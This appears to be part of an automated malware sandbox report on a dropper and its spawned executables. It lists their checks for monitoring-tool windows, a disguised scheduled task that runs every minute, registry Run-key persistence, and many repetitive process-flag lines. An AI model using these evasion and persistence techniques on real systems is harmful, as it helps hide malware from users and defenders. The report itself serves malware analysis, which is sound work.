Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4fa13d4e43.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4fa13d4e43.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b77671daf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b77671daf.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
